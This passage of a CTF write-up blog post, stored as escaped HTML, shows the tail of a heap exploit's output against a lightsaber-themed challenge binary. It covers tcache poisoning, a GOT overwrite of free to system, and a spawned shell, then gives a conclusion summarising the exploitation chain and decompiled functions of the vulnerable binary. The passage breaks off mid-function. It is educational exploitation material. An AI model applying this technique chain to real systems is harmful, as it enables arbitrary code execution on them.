&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;] Poisoning tcache fd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;-&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;inventory &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;@ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x4040a0
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;] inventory hijacked: [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;free&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;@&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;GOT&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;GOT &lt;&#x2F;span&gt;&lt;span&gt;overwritten: free &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;-&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;system
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;destroy&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;-&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;free&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;-&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;system&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;] Shell triggered!
&lt;&#x2F;span&gt;&lt;span&gt;$ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;id
&lt;&#x2F;span&gt;&lt;span&gt;uid&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span&gt;(user) gid&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span&gt;(user) ...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Win!&lt;&#x2F;p&gt;
&lt;h1 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;To summarize, this exploit chains together four key techniques: a &lt;strong&gt;UaF vulnerability&lt;&#x2F;strong&gt; which gives us &lt;strong&gt;read&lt;&#x2F;strong&gt; and &lt;strong&gt;write&lt;&#x2F;strong&gt; primitives on freed heap chunks. &lt;strong&gt;Heap feng shui&lt;&#x2F;strong&gt; lets us control which bins chunks land in, &lt;strong&gt;tcache poisoning&lt;&#x2F;strong&gt; tricks &lt;code&gt;malloc&lt;&#x2F;code&gt; into returning an arbitrary address, and a &lt;strong&gt;GOT overwrite&lt;&#x2F;strong&gt; redirects &lt;code&gt;free&lt;&#x2F;code&gt; to &lt;code&gt;system&lt;&#x2F;code&gt;, turning &lt;code&gt;free(&quot;&#x2F;bin&#x2F;sh&quot;)&lt;&#x2F;code&gt; into a shell.&lt;&#x2F;p&gt;
&lt;p&gt;In the end writing this post taught me at least as much as solving the challenge did. During the CTF, a lot of the steps felt clumsy and did feel like brute-forcing the flag, but revisiting this without the time pressure forced me to understand &lt;em&gt;why&lt;&#x2F;em&gt; each component worked, not just &lt;em&gt;that&lt;&#x2F;em&gt; it worked. I ended up diving deeper into &lt;code&gt;glibc&lt;&#x2F;code&gt; internals, safe linking, and GOT mechanics than I ever would have from just capturing the flag.&lt;&#x2F;p&gt;
&lt;p&gt;If you want to chat about this challenge, or have comments you want to share, feel free to shoot me a message on your preferred channel :D&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;appendix&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#appendix&quot; aria-label=&quot;Anchor link for: appendix&quot;&gt;Appendix&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;This section contains everything that would otherwise clutter the post itself.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lightsaber-functions&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#lightsaber-functions&quot; aria-label=&quot;Anchor link for: lightsaber-functions&quot;&gt;Lightsaber Functions&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;This section contains some of the important decompiled functions from the binary.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;construct&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#construct&quot; aria-label=&quot;Anchor link for: construct&quot;&gt;construct&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;C&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-C &quot;&gt;&lt;code class=&quot;language-C&quot; data-lang=&quot;C&quot;&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;construct&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; iVar1;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;saber;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt; i;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; saber_count;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(saber_count &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;     saber &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;malloc&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x8c&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(saber &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x0&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[-] Allocation failed.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;     }
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;memset&lt;&#x2F;span&gt;&lt;span&gt;(saber,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x8c&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[*] Name: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read_line&lt;&#x2F;span&gt;&lt;span&gt;(saber,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x80&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[*] Crystal [0=Red 1=Blue 2=Green 3=Purple 4=Yellow]: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        iVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read_uint&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;        saber[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x20&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; iVar1;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;4 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt;)saber[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x20&lt;&#x2F;span&gt;&lt;span&gt;]) {
&lt;&#x2F;span&gt;&lt;span&gt;           saber[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x20&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[*] Length (cm): &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        iVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read_uint&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;        saber[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x21&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; iVar1;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x96 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt;)saber[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x21&lt;&#x2F;span&gt;&lt;span&gt;]) {
&lt;&#x2F;span&gt;&lt;span&gt;           saber[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x21&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x96&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        saber[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x22&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;**&lt;&#x2F;span&gt;&lt;span&gt;)(inventory &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(ulong)i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; saber;
&lt;&#x2F;span&gt;&lt;span&gt;        saber_count &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; saber_count &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[+] Lightsaber #&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;%u&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt; constructed!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,(ulong)i);
&lt;&#x2F;span&gt;&lt;span&gt;     }
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[-] Inventory full, young Padawan.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;modify&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#modify&quot; aria-label=&quot;Anchor link for: modify&quot;&gt;modify&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;C&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-C &quot;&gt;&lt;code class=&quot;language-C&quot; data-lang=&quot;C&quot;&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;modify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt; idx;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[*] Index: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read_uint&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;((idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; saber_count) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;long &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(inventory &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(ulong)idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)) {
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[*] New data: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read_line&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(undefined8 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(inventory &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(ulong)idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x80&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[+] Modified.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[-] Invalid.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;inspect&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#inspect&quot; aria-label=&quot;Anchor link for: inspect&quot;&gt;inspect&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;C&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-C &quot;&gt;&lt;code class=&quot;language-C&quot; data-lang=&quot;C&quot;&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;inspect&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;long&lt;&#x2F;span&gt;&lt;span&gt; lVar1;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt; idx;
